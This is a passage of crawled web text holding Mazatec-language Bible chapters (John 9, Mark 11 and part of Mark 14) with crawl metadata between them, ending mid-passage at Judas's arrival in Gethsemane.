kiskònangui‑la̱ kitsò‑la̱: ―Xi̱ta̱ jè, ¿ñánda tíjna? Jè xi̱ta̱ xi jye kjòndaà‑ne, kitsò: ―Mìkiì be ñánda tíjna. 13Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ nga jye kjòndaà‑ne kiìko̱ ñánda títsa̱jna xi̱ta̱ fariseo, 14koií kjoa̱‑la̱ nga na̱chrjein nìkjáya‑né k'e̱ nga tsibíndaà ndási Jesús nga kisìkaàjno xko̱n jè xi̱ta̱ xi mìkiì tsejèn‑la̱ mé‑ne ko̱ma kitáx'a̱‑ne xko̱n. 15Jñà xi̱ta̱ fariseo ìjngoò k'a kiskònangui‑la̱ jè xi̱ta̱ xi mìkiì tsejèn‑la̱ xi jye kjòndaà‑ne, kitsò‑la̱: ―¿Kós'ín komà nga kitáx'a̱‑ne xkoiìn? Xi̱ta̱ jè kitsò: ―Ndásií kisìkaàjno xkoaàn; i̱kjoàn tsanìkjoàn; i̱'ndei̱ jyeé tsejèn‑na̱. 16Tjín i'nga xi̱ta̱ fariseo xi kitsò: ―Xi̱ta̱ jè, mì‑la tsà Nainá kisìkasén nga mìkiì beèxkón na̱chrjein nìkjáya. Ti̱koa̱ tjín i'nga xi kitsò: ―¿Kós'ín ma‑ne nga ma‑la̱ s'ín kjo̱xkón xi ndaà tjín tsà xi̱ta̱ jé‑né? I̱kjoàn kjòjòya xi ti̱jñà‑ne xi̱ta̱ fariseo; mìkiì kjòngásòn kjo̱hítsjeèn‑la̱. 17Ìjngoò k'a kitjànangui‑la̱ jè xi̱ta̱ xi mìkiì tsejèn‑la̱ xi jye kjòndaà‑ne, kitsò‑la̱: ―Ngaji̱, ¿kó si, yá xi̱ta̱‑ne xi kiskíx'a̱‑ne xkoiìn? Xi̱ta̱ jè kitsò: ―Jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá. 18Ta̱nga jñà xi̱ta̱ judío, mìkiì kòkjeiín‑la̱ tsà kixi̱ kjoa̱ nga jè xi̱ta̱ xi mìkiì tsejèn‑la̱ nga k'oa̱s'ín kits'iìn koa̱ i̱'ndei̱ jyeé tsejèn‑la̱. K'e̱é kiìchja̱‑la̱ jñà xi̱ta̱ jchínga‑la̱, 19kiskònangui‑la̱ kitsò‑la̱: ―Jè xi̱ta̱ jè, ¿a ki'ndí‑nò ma? ¿A kixi̱í kjoa̱ nga mìkiì tsejèn‑la̱ k'e̱ nga sa̱ kits'iìn? ¿Kó ma‑ne nga tsejèn‑la̱ i̱'ndei̱? 20Jñà xi̱ta̱ jchínga‑la̱ kitsò: ―'Ya‑náje̱n nga ki'ndí‑naje̱n ma. Kixi̱í kjoa̱ nga mìkiì tsejèn‑la̱ k'e̱ nga sa̱ kits'iìn. 21Ta̱nga mìkiì 'ya‑je̱n mé‑ne nga ma tsejèn‑la̱ i̱'ndei̱, ti̱koa̱á mìkiì 'ya‑je̱n yá‑né xi kiskíx'a̱‑ne xko̱n. Jè sobà chji̱nangui‑là, jè kàtèno̱jmí‑nò, nga jyeé xi̱ta̱ jchínga. 22Jñà xi̱ta̱ jchínga‑la̱ koií k'oa̱s'ín kitsò‑ne nga jñà tsakjón‑la̱ xi̱ta̱ judío. Jñà xi̱ta̱ judío jyeé k'oa̱s'ín tsajoóya‑ne nga jngoò k'aá ki̱tjokàjiìn ya̱ ni'ya i̱ngo̱ sinagoga, tsà yá xi̱ta̱ xi ki̱tso̱ nga jè Jesús jè xi Cristo [xi xó kisìkasén‑ne Nainá]. 23Koií k'oa̱ ti̱s'ín kitsò‑ne jñà xi̱ta̱ jchínga‑la̱, nga kitsò: \"Jè sobà chji̱nangui‑là, nga jyeé xi̱ta̱ jchínga‑né.\" 24Jñà xi̱ta̱ judío ìjngoò k'a kiìchja̱‑la̱ jè xi̱ta̱ xi mìkiì tsejèn‑la̱, kitsò‑la̱: ―Tèno̱jmí kixi̱‑náje̱n nga nguixko̱n Nainá. Ngaje̱n 'ya‑náje̱n nga jè xi̱ta̱ jè, xi̱ta̱ jé‑né. 25Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ xi jye kjòndaà‑ne kiìchja̱, kitsò: ―'A̱n, mìkiì be tsà xi̱ta̱ jé‑né. Tà jè xi be, k'e̱ nga sa̱ kits'ian mìkiì tsejèn‑na, ta̱nga i̱'ndei̱ jyeé tsejèn‑na. 26Ìjngoò k'a kitsò‑la̱: ―¿Mé xi kisìko̱‑lè? ¿Kó s'ín kisìko̱‑lè nga kitáx'a̱‑ne xkoiìn? 27Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ kitsò: ―Jyeé koa̱ kàxan‑nò, ta̱nga jñò mìkiì na'yà. ¿Mé‑ne mejèn‑nò nga ìjngoò k'a k'oa̱ xán‑nò? ¿A ti̱koa̱á mejèn‑nò nga xi̱ta̱‑la̱ ko̱ma nga ya̱ chíta'yàt'aà‑là? 28Jñà xi̱ta̱ judío k'e̱ nga k'oa̱ ki'mì‑la̱, kòjti‑la̱, kiìchja̱jno‑la̱ jè xi̱ta̱ xi mìkiì tsejèn‑la̱, kitsò‑la̱: ―Ji̱‑né xi̱ta̱ xi ya̱ chìta'yàt'aà‑la̱. Ta̱nga ngaje̱n ya̱á chìta'yàt'aà‑la̱je̱n Moisés. 29'Ya‑náje̱n nga jè sobà Nainá kiìchja̱ko̱ Moisés. Ta̱nga jè xi̱ta̱ jè mìkiì 'ya‑je̱n ñánda j'iì‑ne. 30Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ kitsò: ―Kjoa̱ jè, tà maxkón‑ná nga jñò, mìkiì 'ya ñánda j'iì‑ne xi̱ta̱ jè, ta̱nga 'a̱n be‑ná nga jè kiskíx'a̱‑ne xkoaàn. 31'Yaà‑ná jñà xi̱ta̱ xi tjín‑la̱ jé, mìkiì 'nchré‑la̱ Nainá. Ta̱nga jñà xi̱ta̱ xi tsakjón‑keè Nainá ti̱koa̱ síkitasòn koni s'ín mejèn‑la̱, jñà‑né xi 'nchré‑la̱. 32Kóni nga ti̱sa̱ kjòtseé, ni̱ sa̱á jngoò xi̱ta̱ na'yà‑la̱ xi ma‑la̱ kíx'a̱‑ne xko̱n jngoò xi̱ta̱ xi mìkiì tsejèn‑la̱ k'e̱ nga k'oa̱s'ín kits'iìn. 33Xi̱ta̱ jè, tsà mìtsà Nainá kisìkasén, ni̱mé xi ko̱ma‑la̱ nga k'oa̱s'ín s'i̱in. 34Jñà xi̱ta̱ judío kitsò‑la̱ jè xi̱ta̱ xi mìkiì tsejèn‑la̱: ―Ngaji̱ xi ta̱xki̱ 'ñó tse jé tjín‑lè, ¿a ji̱í mejèn‑lè ko̱kóya‑naje̱n? I̱kjoàn tsachrje ni'ya i̱ngo̱ sinagoga. 35Jesús kiì'nchré nga jè xi̱ta̱ jè kinachrjekàjiìn ya̱ ni'ya i̱ngo̱ sinagoga. K'e̱ nga kisatiìkjoò ìjngoò k'a, kiskònangui‑la̱ kitsò‑la̱: ―Ji̱, ¿a mokjeiín‑lè i̱t'aà ts'e̱ xi Ki'ndí‑la̱ Xi̱ta̱ tsò‑la̱ yijo‑la̱? 36Xi̱ta̱ jè kitsò: ―Na̱'èn, koa̱tìn‑ná yá‑né, mé‑ne nga ko̱kjeiín‑na i̱t'aà ts'e̱. 37Jesús kitsò‑la̱: ―Jyeé ki'yi, 'a̱n‑ná xi tìchjàko̱‑lè. 38Xi̱ta̱ jè tsasìjna xkó'nchit'aà‑la̱ Jesús nga kijtseèxkón, kitsò‑la̱: ―Na̱'èn mokjeiín‑na̱ i̱t'aà tsi̱ji. 39I̱kjoàn kitsò Jesús: ―'A̱n, koií xá j'i̱‑na̱ i̱ i̱sò'nde; nga 'a̱n skosòn‑la̱ mé‑ne jñà xi̱ta̱ xi mìkiì tsejèn‑la̱ ko̱tsejèn ìjngoò k'a‑la̱, koa̱ jñà xi tsejèn‑la̱ mìkiì ko̱tsejèn‑la̱. 40Tjín i'nga xi̱ta̱ fariseo xi ya̱ títsa̱jnako̱ Jesús, k'e̱ nga kiì'nchré 'én koi, kiskònangui‑la̱ kitsò‑la̱: ―Ngaje̱n, ¿a ti̱koa̱á mìkiì tsejèn‑naje̱n? 41Jesús kiìchja̱ kitsò‑la̱: ―Jñò, tsà mìkiì tsejèn‑nò, tsjìn‑nò jé. Ta̱nga bixón‑nò: \"Tsejèn‑naje̱n\", k'oa̱á ma‑ne nga ya̱ tjínè‑nò jé‑nò.\nSan Juan 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/9","date":"2013-12-12T04:42:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164456039\/warc\/CC-MAIN-20131204134056-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":920,"character_repetition_ratio":0.136,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.334,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1K'e̱ nga jye kjo̱meè bijchó chrañà‑la̱ na̱xa̱ndá Jerusalén, jñà na̱xa̱ndá xi 'mì Betfagé ko̱ Betania, ya̱ i̱t'aà nindoò Yá Olivo, Jesús kisìkasén jò xi̱ta̱ xi kota'yàt'aà‑la̱; 2kitsò‑la̱: ―Tanguió ján ndí na̱xa̱ndá i̱tsé xi kijnat'aà ján. K'e̱ nga kijchoò ya̱á síjnat'aà'ñó jngoò búrró ki'ndí xi ni̱ sa̱á yá bìjnasòn‑la̱. Chíjnda̱'ñó, nchrohóko̱o. 3Tsà yá xi kjònangui‑nò, tsà ki̱tso̱‑nò: \"¿Mé‑ne ko̱nìko̱‑nò búrró?\", tìn‑là: \"Jé xó Na̱'èn‑ná Jesús ko̱chjeén‑la̱, koa̱ ni̱to̱ón xó si̱ìkasén‑ne.\" 4Kiì jñà xi̱ta̱ xi kota'yàt'aà‑la̱. K'e̱ nga ijchò jngoò ni'ya, ya̱á tjít'aà'ñó jngoò búrró jè xotjoa̱‑la̱ ni'ya ya̱ i̱ya ndi̱yá. K'e̱ nga kiskíjnda̱'ñó. 5Jñà xi̱ta̱ xi ya̱ títsa̱jna kitsò‑la̱: ―¿Mé s'e̱en‑nò, mé‑ne chíjnda̱'ñó‑nò ndí búrró? 6K'oa̱á s'ín kitsò‑la̱ koni s'ín tsibéno̱jmí‑la̱ Jesús; kitsjaà'nde‑la̱ nga kiìko̱. 7K'e̱ nga ijchòko̱ ñánda tíjna Jesús jè ndí búrró, jñà nikje ts'e̱ xi̱ta̱ kisìkjeén nga tsohójtsa‑la̱ jè ndí búrró; i̱kjoàn tsibìjnasòn‑la̱ Jesús. 8Kjìn xi̱ta̱ tsohójngoò nikje‑la̱ ya̱ i̱ya ndi̱yá. Jñà xi̱ta̱ xi i'nga, xka̱ chrja‑la̱ yá tsohójngoò xi tsate ya̱ i̱jiìn ijñá. 9Jñà xi̱ta̱ xi títjòn ko̱ xi tji̱ngui 'ñó chja̱, nga kitsò: ―¡Mé tà ndaà‑la̱ jè xi nchrobá ngajo‑la̱ Nainá, jè xi otíxoma‑ná! 10¡Mé tà ndaà‑ne nga jè ko̱tìxoma ngajo‑la̱ xi̱ta̱ jchínga‑ná David! ¡Kàtas'e kjoa̱jeya ján ngajmiì! 11Jesús jahas'en‑jiìn ya̱ na̱xa̱ndá Jerusalén. I̱kjoàn jahas'en ndi̱tsin i̱ngo̱ ítjòn. Xki̱ xi ján kiskoòtsejèn. I̱kjoàn itjo‑ne; kiìko̱ xi̱ta̱‑la̱ xi tejò ma‑ne ján na̱xa̱ndá Betania, koi‑né nga jye kjòhoxòn. 12K'e̱ ko̱ma nchijòn nga itjo ìjngoò k'a‑ne ján na̱xa̱ndá Betania, Jesús kjòhojò‑la̱. 13K'e̱é kijtseè jngoò yá‑la̱ toò iko̱ xi kjiìn síjna. Kiì katsejèn‑la̱ tsà yijà‑la̱ toò, ta̱nga ni̱mé tjín‑la̱; tà xka̱á tjín‑la̱. Mìtsà na̱chrjein‑la̱ toò. 14K'e̱é kitsò‑la̱ jè yá toò iko̱: ―Ni̱ ti̱ yá xi ski̱ne̱‑ne toò‑lè. Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kiì'nchré 'én koi. 15K'e̱ nga ijchò na̱xa̱ndá Jerusalén, Jesús jahas'en ya̱ ndi̱tsin i̱ngo̱ ítjòn; i̱kjoàn tsibíts'ia̱ nga tsachrje jñà xi̱ta̱ xi tsojmì otíjna ko̱ xi otse tsojmì. Kisìhitíkjá ími̱xa̱‑la̱ jñà xi̱ta̱ xi síkjatjìya to̱n ti̱koa̱á kisìhitíkjá íxi̱le̱‑la̱ xi̱ta̱ xi otíjna ni̱se paloma. 16Mì ti̱ kiì kitsjaà'nde‑la̱ xi̱ta̱ xi tsojmì otíjna nga ch'á fahatoyako̱ i̱ngo̱ ítjòn. 17I̱kjoàn tsakóya‑la̱ xi̱ta̱. Kitsò‑la̱: ―Jè Xo̱jo̱n‑la̱ Nainá tsò‑né: \"Ni'ya‑na̱, ni'ya ts'e̱ o̱chikoón k'oín nga i̱ ki̱chja̱t'aà‑na ngats'iì xi̱ta̱ na̱xa̱ndá xi tjín kóho̱kji i̱sò'nde.\" Ta̱nga jñò, nguijo‑la̱ xi̱ta̱ chijé titsa̱'nè. 18K'e̱ nga kiì'nchré jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, tsohótsji'nde‑la̱ kós'ín si̱ìko̱ nga si̱ìk'en Jesús nga tsakjón‑la̱. Koií kjoa̱‑la̱ nga jñà kjo̱tíxoma xi okóya Jesús ndaá tsò, ko̱ jñà xi̱ta̱ xi 'nchré‑la̱ tà k'oa̱á ma‑la̱ 'én xi okóya. 19K'e̱ nga jye kòjñò, Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ itjojiìn na̱xa̱ndá Jerusalén, xìn kiì. 20K'e̱ nga ta̱jñòya nga ko̱ma nchijòn, ja ìjngoò k'a ñánda síjna yá toò iko̱, kijtseè nga jye kixì yá kóho̱kji skanda i̱'ma̱‑la̱. 21Jè Pedro tsibítsjeèn‑la̱ koni kitsò Jesús. K'e̱é kitsò‑la̱: ―Maestro, chítsejèn‑la̱ jè yá toò iko̱ xi 'on kinokjoàkoi̱i ngojña̱. Jye kixì. 22Jesús kiìchja̱; kitsò: ―Kàtakjeiín‑nò i̱t'aà ts'e̱ Nainá. 23O̱kixi̱í xi xan‑nò, tsà yá xi ki̱tso̱‑la̱ jè nindoò jè: \"Ti̱si̱xìn; ján ti̱katje̱n‑jiìn yijo‑lè ján i̱jiìn ndáchikon.\" Tsà mìtsà tà jò tjín‑la̱ k'e̱ nga o̱ki̱tso̱ nga tíjngoò ini̱ma̱‑la̱ nga mokjeiín‑la̱, k'oa̱á s'ín ko̱ma. 24Koi ko̱s'ín xan‑nò kóho̱tjión, k'e̱ nga kítsi'ba‑là Nainá, k'oa̱á s'ín kàtakjeiín‑nò koni tsà jye kitjoé‑nò mé‑ne nga tjoé‑nò. 25K'e̱ nga ki̱nókjoa̱t'aà‑la̱ Nainá ti̱jchàat'aà‑là jé‑la̱ xinguio̱o mé‑ne jè Na̱'èn‑nò xi tíjna i̱t'aà ngajmiì si̱ìjchàat'aà‑nò jé‑nò xi tsa̱jòn. 26Ta̱nga tsà mìkiì si̱jchàat'aà‑là jé‑la̱ xi̱ta̱ xinguio̱o ti̱koa̱ mìkiì si̱ìjchàat'aà‑nò Na̱'èn‑ná xi tíjna ngajmiì. 27Jesús ijchò ìjngoò k'a Jerusalén. K'e̱ nga tsó'ba ya̱ ndi̱tsin i̱ngo̱ ítjòn, j'iì kinchat'aà‑la̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì, ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, ko̱ xi̱ta̱ jchínga; 28kiskònangui‑la̱, kitsò‑la̱: ―¿Mé kjo̱tíxoma xi tsjá'nde‑lè koni s'ín 'nì? ¿Yá xi kitsjaà‑lè kjo̱tíxoma kjoa̱ xi 'nì? 29Jesús kitsò‑la̱: ―Ti̱koa̱á 'a̱n jngoò kjoa̱ skònangui‑nò. Ko̱t'ìn‑ná, koa̱ 'a̱n, k'oa̱á xán‑nò yá xi kitsjaà‑na̱ kjo̱tíxoma koni s'ín s'iaàn. 30¿Yá xi kitsjaà‑la̱ kjo̱tíxoma Juan nga kis'iìn bautizar xi̱ta̱? ¿A Nainá‑né xi tíjna ngajmiì, o xi tà xi̱ta̱‑né? Ko̱t'ìn‑ná. 31Jñà xi̱ta̱ koi, k'e̱é tsajoóya‑ne, kitsò‑la̱ xíkjín: ―Tsà kixoán: \"Nainá kitsjaà‑la̱ kjo̱tíxoma\", ki̱tso̱‑né: \"¿Mé‑ne mìkiì kòkjeiín‑nò i̱t'aà ts'e̱?\" 32Mì‑la kiì ko̱ma kixoán: \"I̱t'aà ts'e̱ xi̱ta̱‑né.\" Nga̱ jñà xi̱ta̱ na̱xa̱ndá tsakjón‑la̱, koi‑né nga jñà xi̱ta̱ k'oa̱á tsò nga jè Juan, nguì kjoa̱ kixi̱‑né nga jè xi kiìchja̱ ngajo‑la̱ Nainá. 33K'e̱é kiìchja̱, kitsò‑la̱ Jesús: ―Mìkiì 'ya‑je̱n. Jè Jesús kitsò‑la̱: ―Ti̱koa̱á 'a̱n mìkiì k'oa̱ xán‑nò yá xi kitsjaà‑na kjo̱tíxoma koni s'ín s'iaàn.\nSan Marcos 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/11","date":"2013-12-06T05:53:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049615\/warc\/CC-MAIN-20131204131729-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":701,"character_repetition_ratio":0.069,"word_repetition_ratio":0.012,"special_characters_ratio":0.237,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Tà jò na̱chrjein chija‑la̱ nga ki̱tjo s'eí Paxko̱ ts'e̱ xi̱ta̱ judío k'e̱ nga kjèn i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san. Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés tsohótsji'nde‑la̱ kós'ín si̱ìko̱ nga skóna̱cha̱n‑la̱ nga tsobà'ñó Jesús, i̱kjoàn si̱ìk'en. 2Tjín i'nga xi̱ta̱ xi kitsò: ―Mì na̱chrjein‑la̱ s'eí si̱k'eén nga mì ko̱ts'e̱n jñà xi̱ta̱ na̱xa̱ndá. 3Jesús, k'e̱ nga tíjna ján na̱xa̱ndá Betania, ya̱ ni'ya‑la̱ Simón, jngoò xi̱ta̱ xi tsindojno chrjoa̱ yijo‑la̱ nga sa̱ ítjòn, k'e̱ nga tíjnat'aà ími̱xa̱, ijchò jngoò chjo̱ón xi 'ya jngoò nda̱jo̱ chi̱tsín xi tjíya‑la̱ xkiì jne̱ ts'e̱ nardo, xi 'ñó chjí‑la̱. Kiskíx'a̱ nda̱jo̱ chi̱tsín, i̱kjoàn tsibíxteèn‑jno sko̱ Jesús jè xkiì jne̱. 4Tjín i'nga xi̱ta̱ xi ya̱ títsa̱jna, kòjti‑la̱, kitsò‑la̱ xíkjín: ―¿Mé‑ne kasíkits'ón‑ne jè xkiì jne̱? 5Tsà kàsatíjna, tsatoó‑la̱ jàn sìndo̱ to̱n denario chjí‑la̱ koa̱ jè to̱n‑la̱ ko̱ma ko̱chját'aà‑la̱ xi̱ta̱ i̱ma̱. Kiìchja̱jno‑la̱ jè chjo̱ón xi o̱kis'iìn. 6Ta̱nga kitsò Jesús: ―Kì k'oa̱á 'mì‑là. ¿Mé‑ne nìjti‑là? Koni s'ín kàs'ín‑ko̱‑na, ndaà kàs'ín. 7Jñà xi̱ta̱ i̱ma̱ kítsa̱jnako̱ kjit'aà‑nò, ko̱ maá si̱chját'aà‑là k'e̱ nga mejèn‑nò. Ta̱nga 'a̱n, mì i̱ tìjna̱ko̱ kjit'aà‑nò. 8Jè chjo̱ón jè, k'oa̱á s'ín kàs'ín koni kji ma xi kàs'ín. Kàsíkaàjno ítjòn xkiì jne̱ yijo‑na̱ xi ts'e̱ nga si̱ìjñaà. 9O̱kixi̱í xi xan‑nò, ni̱ta̱ ñánda‑ne nga tíjtsa i̱sò'nde nga ko̱bísòn 'én ndaà‑la̱ Nainá, ti̱koa̱á ko̱bísòn‑né koni s'ín kasìko̱‑na mé‑ne nga si̱ìkítsjeèn‑ne xi̱ta̱ i̱t'aà ts'e̱ chjo̱ón jè. 10Jè Judas Iscariote xi ya̱ itjojiìn‑ne ts'e̱ xi̱ta̱ xi tejò ma‑ne xi tsajmeiìko̱ Jesús, kiìkon jñà xi̱ta̱ sko̱‑la̱ no̱'miì nga si̱ìnga̱tsja Jesús. 11Jñà xi̱ta̱ sko̱‑la̱ no̱'miì, k'e̱ nga kiì'nchré, kjòtsja‑la̱, kitsjaà‑la̱ tso'ba nga to̱n tsjá‑la̱. Jè Judas tsohótsji'nde‑la̱ kós'ín si̱ìnga̱tsja Jesús. 12Jè na̱chrjein ts'e̱ s'eí xi mats'ia̱ ítjòn‑ne k'e̱ nga kjèn i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san jñà xi̱ta̱ judío, k'e̱ nga sík'en orrè xi ts'e̱ s'eí Paxko̱, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kiskònangui‑la̱; kitsò‑la̱: ―¿Ñánda mejèn‑lè onguíkindaà‑je̱n xi ki̱chiaá ts'e̱ s'eí Paxko̱? 13Jesús kisìkasén jò xi̱ta̱ xi kota'yàt'aà‑la̱ ján Jerusalén, kitsò‑la̱: ―Tanguió ján i̱jiìn na̱xa̱ndá, ya̱á ska̱jñoò jngoò xi̱ta̱ xi 'yajen jngoò nisa nandá; tanguítji̱ngui‑là. 14Ya̱ ñánda kjoa̱has'en, koa̱tìn‑là nei‑la̱ ni'ya: \"K'oa̱á tsò Maestro: ¿Ñánda tíjna jè cuarto ñánda kókje̱n‑koa̱a xi̱ta̱ xi kota'yàt'aà‑na jè s'eí Paxko̱?\" 15Ya̱á ko̱kò jngoò‑nò cuarto xi je kji xi tíjna i̱sò'nga ni'ya. Jyeé tjíndaà tsojmì xi ko̱chjeén. Ya̱ tìndaà xi ki̱chiaá. 16Kiì jñà xi̱ta̱ xi kota'yàt'aà‑la̱ ján i̱jiìn na̱xa̱ndá. K'oa̱á s'ín kisakò‑la̱ koni s'ín kitsò‑la̱ Jesús, ya̱á tsibíndaà tsojmì xi ko̱kje̱n kjoa̱ ts'e̱ s'eí Paxko̱. 17K'e̱ nga jye kòjñò, Jesús, ijchòko̱ xi̱ta̱‑la̱ xi tejò ma‑ne. 18K'e̱ nga títsa̱jnat'aà ími̱xa̱ nga nchikjèn, Jesús kitsò‑la̱: ―O̱kixi̱í xi xan‑nò, jñò, i̱í tíjnajiìn jngoò‑nò xi si̱ìnga̱tsja‑na̱ i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑na̱, jngoò xi 'a̱n tíkjèn‑ko̱‑na. 19Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ta kjòba‑la̱ k'e̱ nga o̱kitsò. K'e̱é jngó jngó kiskònangui‑la̱, kitsò‑la̱: ―¿A 'a̱n‑ná? 20Jesús kitsò: ―Jngoò xi ki̱tjokàjiìn ts'e̱ xi̱ta̱‑na̱ xi tejò ma‑ne jè xi ti̱jè‑ne chro̱ba̱ ts'a̱n tísíka'nchi̱‑ne i̱nchra̱jín‑la̱. 21'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, k'oa̱á s'ín ko̱mat'ian koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá. ¡Ta̱nga i̱ma̱ xó‑ne jè xi̱ta̱ xi si̱ìnga̱tsja‑na! Ìsa̱á‑là ndaà komà tsà mìkiì kits'iìn xi̱ta̱ jè. 22K'e̱ nga nchikjèn, Jesús kiskoé i̱nchra̱jín, kiìchja̱t'aà‑la̱ Nainá nga kisìchikon‑t'in, kisìxkoa̱ya i̱kjoàn kitsjaà‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: ―Chjoé. Yijo‑na̱ né. 23I̱kjoàn kiskoé jngoò chi̱tsín, kitsjaà‑la̱ kjo̱ndaà Nainá; k'e̱é kitsjaà‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, ngats'iì xi̱ta̱ kits'iì vino xi tjíya chi̱tsín. 24Kitsò‑la̱: ―Jè‑né xi jní‑na̱ xi si̱ìkixi̱ya jè kjoa̱ xi̱tse̱ xi bìndaàjiìn‑ko̱‑nò. Jè jní‑na̱ xi̱ìxteèn xi kjo̱ndaà ts'e̱ nga kjìn xi̱ta̱. 25O̱kixi̱í xi xan‑nò, mì ti̱ kiì ski̱‑na vino skanda jè na̱chrjein k'e̱ nga skia̱a vino xi̱tse̱, ján ñánda tíhotíxoma Nainá. 26Jesús ko̱ xi̱ta̱‑la̱, k'e̱ nga jye kiseè jngoò‑la̱ sò Nainá ts'e̱ Salmo, i̱kjoàn kiì ján nindoò Yá Olivo. 27Jesús kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Ngats'ioò jñò, ki̱jneí takòn‑ná jè ni̱tje̱n jè, nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá, nga tsò: \"Ki̱yá jè paxtò koa̱ jñà orrè tsjohoya‑né.\" 28Ta̱nga ko̱ma i̱skan, k'e̱ nga kjoa̱áya‑na, kjín ítjòn‑nò ján nangui Galilea. 29Kitsò Pedro: ―Na̱s'ín ngats'iì xi̱ta̱‑lè xi i'nga tsjeiìn takòn‑lè, 'a̱n, mìkiì tsjeiìn‑takòn‑lè. 30Jesús kitsò‑la̱: ―O̱kixi̱í xi xan‑lè; ni̱tje̱n jé, k'e̱ nga ti̱kj'eè kjindáya jò k'a kóxtí, ngaji̱, jàn k'a tsjá'mat'in‑ná. 31Jè Pedro ìsa̱ 'ñó kiìchja̱; kitsò: ―Na̱s'ín ya̱ ki̱yáko̱‑lè, mìkiì kójna̱'mat'in‑lè. Ngásòn kitsò yije xi̱ta̱ xi kota'yàt'aà‑la̱ xi i'nga. 32Kiì ján i̱'nde ñánda 'mì Getsemaní; Jesús kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Ti̱tsa̱jna i̱jndé; 'a̱n, Nainá kò‑là kichjàt'aà‑la̱. 33Jesús kiìko̱ Pedro, Jacobo, ko̱ Juan. I̱kjoàn tsibíts'ia̱ Jesús nga ba ko̱ma‑la̱. 'Ñó kisìkájno. 34K'e̱é kitsò Jesús: ―Tsí baá ma‑la̱ ini̱ma̱‑na̱ koni tsà mejèn ki̱yá. Ti̱tsa̱jna i̱jndé, titsa̱jnakoòn. 35Jesús kiìkjá chiba‑ìsa. I̱kjoàn tsohojna skanda i̱t'aà nangui koa̱ kisìjét'aà‑la̱ Nainá tsà ko̱ma, kjoa̱áxìn‑la̱ kjo̱'in jè. 36K'e̱ nga tíchja̱t'aà‑la̱ Nainá, kitsò‑la̱: ―Na̱'èn xi Na̱'èn‑na̱ xan‑lè, ma yijeé‑lè ni̱ta̱ mé kjoa̱‑ne i̱t'aà tsi̱ji. Chja̱àxìn‑ná kjoa̱ ts'e̱ kjo̱'in jè, ta̱nga mìtsà jè 'én ts'a̱n ki̱tasòn, jè kàtitasòn 'én tsi̱ji. 37I̱kjoàn j'iì ìjngoò k'a‑ne ya̱ ñánda títsa̱jna xi̱ta̱‑la̱, ta̱nga jñà xi̱ta̱‑la̱, kjiyijòfè‑né. Jesús kitsò‑la̱ Pedro: ―Simón, ¿a titsa̱jnafè‑né? ¿A mì kachíkjoa̱‑lè tsà tà jngoò hora kòbìjnakoin? 38Titsa̱jnakoòn, ti̱jét'aà‑là Nainá mé‑ne nga mì si̱ìkijne‑nò kjoa̱ ts'e̱ jé. Xi o̱kixi̱, jè ini̱ma̱‑nò tíjnandaà‑né ta̱nga jè yijo‑nò, indaá tjín, tsjìn‑la̱ nga'ñó. 39Jesús kiì kítsi'ba ìjngoò k'a. Tákó k'oa̱á ti̱ kitsò‑ne koni kitsò nga sa̱ ítjòn. 40K'e̱ nga j'iì ìjngoò k'a‑ne, jñà xi̱ta̱ xi kota'yàt'aà‑la̱, tákó kjiyijòfè‑né nga 'ñó nijñá‑la̱. Mìkiì beè kó ki̱tso̱‑la̱ Jesús. 41Ko̱ma jàn k'a nga j'iì Jesús. Kitsò‑la̱: ―¿A tákó titsa̱nìkjáya‑nò ko̱ titsa̱fè‑nò? Kàtje kjoa̱. Jyeé ijchò hora‑la̱, 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ya̱á ko̱nga̱tsja jñà xi̱ta̱ jé. 42Ti̱sítje̱en, chítsejèn‑là, tíkjiaán, jye nchrobá chrañà jè xi si̱ìnga̱tsja‑na. 43Tákó ti̱k'e̱é tíchja̱‑ìsa Jesús nga ijchò Judas, xi ya̱ 